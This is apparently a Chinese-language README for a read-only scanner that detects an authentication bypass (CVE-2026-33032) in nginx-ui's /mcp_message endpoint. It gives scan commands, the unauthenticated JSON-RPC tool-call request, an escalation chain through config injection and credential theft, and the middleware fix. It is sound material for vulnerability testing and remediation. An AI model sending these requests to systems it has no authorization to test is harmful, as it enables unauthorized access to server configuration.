CVE-2026-33032 扫描器

用于 Nginx-UI MCP 端点认证绕过的非破坏性漏洞扫描器

漏洞概述

CVE-2026-33032 是 nginx-ui 的模型上下文协议（MCP）集成中的一个认证绕过漏洞。/mcp_message 端点在提供所有 MCP 工具访问权限的同时缺少认证中间件，允许远程攻击者：

读取 nginx 配置和状态
创建/修改/删除 nginx 配置文件
重启或重新加载 nginx 服务
窃取敏感配置数据
注入恶意配置以进行流量拦截

根本原因

认证不对称：/mcp 端点需要认证，但 /mcp_message 不需要：

r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)  // 缺少 AuthRequired()

默认放行的 IP 白名单：默认 IP 白名单为空，中间件将其视为"允许所有"
两个端点共享处理器：两者都路由到同一个 mcp.ServeHTTP()，该处理器处理所有 MCP 工具调用

扫描器功能

✅ 非破坏性测试 - 仅使用只读 MCP 工具
✅ 全面指纹识别 - 识别 nginx-ui 安装
✅ 安全的概念验证 - 不进行任何配置更改
✅ 批量扫描 - 从文件处理多个目标
✅ 详细报告 - 支持 JSON 输出以便集成

安装

# 克隆或下载扫描器
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py

# 安装依赖（如需要）
pip3 install requests

使用方法

基本扫描

# 扫描单个目标
python3 cve-2026-33032-scanner.py -u http://target.com:9000

# 使用详细输出进行扫描
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v

# 自定义超时时间
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15

批量扫描

# 从文件扫描多个目标
python3 cve-2026-33032-scanner.py -f targets.txt

# 使用详细输出和 JSON 报告
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json

# Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net

目标文件格式

# targets.txt - 每行一个 URL
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000

工作原理

扫描器执行多阶段检测过程：

阶段 1：指纹识别

检查常见的 nginx-ui 端点以识别安装：

/api/info - 版本信息
/login - 登录页面
/api/auth/login - 认证端点
/mcp 和 /mcp_message - MCP 端点

阶段 2：认证检查

测试 /mcp 端点以验证其是否正确要求认证（基线）

阶段 3：漏洞利用

尝试通过 /mcp_message 进行非破坏性 MCP 工具调用，无需认证：

nginx_status（最安全）- 读取 nginx 进程状态
nginx_config_list - 列出配置文件
nginx_config_base_path - 获取配置目录路径

如果任何工具在无需认证的情况下调用成功，则确认存在漏洞。

使用的安全 MCP 工具

扫描器仅调用只读 MCP 工具：

工具	描述	影响
`nginx_status`	读取 nginx 服务状态	无更改
`nginx_config_list`

明确避免使用的工具：

nginx_config_add - 会创建文件
nginx_config_modify - 会更改配置
restart_nginx / reload_nginx - 服务中断
nginx_config_enable - 会更改活动配置

输出示例

存在漏洞的目标

[+] 检测到 nginx-ui：在 /login 中发现 'nginx-ui'
[+] /mcp 端点已正确保护

[*] 正在测试 /mcp_message 端点（CVE-2026-33032）...
  [*] 正在尝试工具：nginx_status - 读取 nginx 状态（最安全）
      状态：200

======================================================================
[!] 存在 CVE-2026-33032 漏洞
======================================================================
证明：无需认证即可成功执行 nginx_status

已保护的目标

[+] 检测到 nginx-ui：版本端点可访问
[+] /mcp 端点已正确保护

[*] 正在测试 /mcp_message 端点（CVE-2026-33032）...
  [*] 正在尝试工具：nginx_status - 读取 nginx 状态（最安全）
      状态：401
      需要认证（已保护）✓

[+] 不存在漏洞 - 端点需要认证

修复建议

如果确认存在漏洞：

立即修复：为 /mcp_message 添加认证中间件：

r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
    func(c *gin.Context) {
        mcp.ServeHTTP(c)
    })

纵深防御：
- 配置 IP 白名单默认拒绝所有
- 如果不需要外部访问，将 MCP 端点限制为仅 localhost
- 在 MCP 端点上实施速率限制
升级：在可用时更新到已修补的 nginx-ui 版本

负责任披露

此工具设计用于：

✅ 漏洞赏金计划
✅ 授权的渗透测试
✅ 获得许可的安全研究
✅ 披露前的漏洞验证

请勿在您不拥有或未经明确许可的系统上使用此工具。

漏洞赏金提示

报告此漏洞时：

严重性：严重（CVSS 9.8+）
- 网络可访问
- 无需认证
- 完全系统入侵
- 配置窃取 + 修改
证明：包含扫描器输出，显示成功的未认证 MCP 工具调用
影响链：
- 未认证访问 → 配置读取 → 后端拓扑泄露
- 配置写入 → 恶意代理注入 → 凭据窃取
- Nginx 重启 → 服务中断 → DoS
安全 PoC：仅使用只读工具（nginx_status、nginx_config_list）

技术细节

MCP 工具调用格式

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_status",
    "arguments": {}
  },
  "id": 1
}

成功响应

{
  "jsonrpc": "2.0",
  "result": {
    "content": [
      {
        "type": "text",
        "text": "nginx is running (PID: 1234)"
      }
    ]
  },
  "id": 1
}

受保护响应

HTTP/1.1 401 Unauthorized
{
  "error": "authentication required"
}

参考资料

CVE：CVE-2026-33032
受影响版本：nginx-ui（包含 MCP 集成的版本）
CVSS：9.8（严重）
CWE：CWE-306（关键功能缺少认证）

许可证

此工具仅用于教育和授权的安全测试目的。

作者

Antony Esthak Twinson @ Cyber Tamarin
安全研究员 | 漏洞赏金猎人
专注于 Web 应用安全与漏洞研究

免责声明：此扫描器仅执行非破坏性测试。在测试任何系统之前，请务必获得适当的授权。

cve-2026-33032-scanner

最受欢迎